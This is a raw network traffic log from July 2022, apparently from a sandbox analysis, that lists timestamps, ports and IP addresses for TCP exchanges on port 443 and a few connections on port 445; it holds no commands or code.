Jul 20, 2022 09:08:25.219002008 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219018936 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219028950 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219268084 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.219275951 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219295025 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219369888 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.219376087 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219618082 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.219626904 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219650984 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219691038 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.219695091 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.219698906 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219811916 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.219819069 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219826937 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219841957 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219875097 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.219881058 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.219997883 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220005035 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220072985 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220081091 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220118999 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220139980 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220161915 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220170021 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220231056 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220290899 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220330954 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220335960 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220367908 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220376015 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220413923 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220429897 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220438957 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220453024 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220490932 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220519066 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220529079 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220536947 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220587015 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220642090 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220716000 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220748901 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220786095 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220820904 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220829964 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220860004 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220892906 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.220899105 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220925093 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220962048 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.220973969 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221041918 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221050024 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221075058 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221092939 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221101999 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221117020 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221126080 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221173048 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221234083 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221236944 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221276045 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221313000 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221319914 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221349001 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221374989 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221407890 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221411943 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221431971 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221452951 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221508026 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221539974 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221615076 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221662045 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221697092 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221735001 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221745014 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221780062 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221807957 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221817970 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221839905 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221875906 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221889973 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221896887 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.221940994 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221980095 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.221997023 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222075939 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222157001 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222203016 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222243071 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222251892 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222281933 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222316027 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222325087 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222348928 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222394943 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222409964 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222417116 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222470045 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222477913 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222506046 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222557068 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222650051 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222688913 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222776890 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222781897 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222798109 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222827911 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222830057 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222868919 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222877979 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.222904921 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222929955 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.222955942 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223032951 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223098993 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223151922 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223174095 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223181009 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223211050 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223232985 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223248959 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223288059 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223319054 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223326921 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223366976 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223390102 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223391056 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223409891 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223457098 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223552942 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223592043 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223625898 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223634958 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223669052 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223680973 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223695040 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223704100 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223738909 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223745108 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223787069 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223793030 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223838091 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223856926 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223881006 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223887920 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223931074 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223958015 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.223968983 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.223975897 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224015951 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224025965 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224056005 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224062920 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224119902 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224153042 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224168062 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224179029 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224217892 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224236012 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224244118 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224303961 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224325895 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224334002 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224395037 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224399090 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224400043 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224423885 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224463940 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224509954 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224512100 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224533081 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224582911 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224647045 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224684000 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224785089 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224790096 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224791050 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224812984 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224915981 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224941969 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224977970 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.224987984 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.224996090 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.225008011 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225032091 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225056887 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.225069046 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225109100 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225164890 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.225172997 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225199938 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225227118 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225281954 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.225287914 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225302935 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225326061 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225357056 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.225372076 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.225378036 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225403070 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225483894 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225509882 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225528002 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.225544930 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225553036 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.225569010 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.225733995 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.225745916 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.253932953 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.253959894 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.254054070 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.254291058 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.254298925 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.254317999 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.254343033 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.254350901 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.254478931 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.254573107 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.255726099 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.257535934 CEST	50748	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.257551908 CEST	443	50748	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.270629883 CEST	445	50859	85.209.121.156	192.168.2.6
Jul 20, 2022 09:08:25.282805920 CEST	50873	445	192.168.2.6	162.197.6.111
Jul 20, 2022 09:08:25.321816921 CEST	445	50843	201.187.246.3	192.168.2.6
Jul 20, 2022 09:08:25.321974993 CEST	50843	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:25.324493885 CEST	443	50721	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.324565887 CEST	50874	445	192.168.2.6	201.187.246.3
Jul 20, 2022 09:08:25.326117039 CEST	50721	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.392860889 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.392889023 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.392908096 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.392963886 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.392978907 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393014908 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393024921 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393039942 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393050909 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393057108 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393070936 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393101931 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393111944 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393162012 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393172979 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393217087 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393224955 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393241882 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393261909 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393268108 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393311024 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393332958 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393361092 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393371105 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393389940 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393399954 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393446922 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393460035 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393471003 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393513918 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393522024 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393537998 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.393569946 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.393635035 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395128012 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395149946 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395224094 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395442963 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395458937 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395478964 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395601034 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395608902 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395616055 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395682096 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395688057 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395735025 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395740032 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395750046 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395807028 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395812035 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395872116 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395878077 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395941019 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395946980 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.395982981 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.395997047 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.396035910 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.396056890 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.396146059 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.396153927 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.396208048 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.396687031 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.396696091 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.396711111 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.396722078 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.396840096 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.396848917 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.396908045 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.396914005 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.396925926 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.396969080 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.396989107 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.397030115 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.397038937 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.397051096 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.397088051 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.397094965 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.397161007 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.397166967 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.397191048 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.397217035 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.397259951 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.397792101 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.397804022 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.397823095 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.397947073 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.398194075 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.398200989 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.398216009 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.398231030 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.398303032 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.398309946 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.398411036 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.398416996 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.398432970 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.398466110 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.398473978 CEST	443	50723	80.67.82.211	192.168.2.6
Jul 20, 2022 09:08:25.398521900 CEST	50723	443	192.168.2.6	80.67.82.211
Jul 20, 2022 09:08:25.398649931 CEST	50723	443	192.168.2.6	80.67.82.211
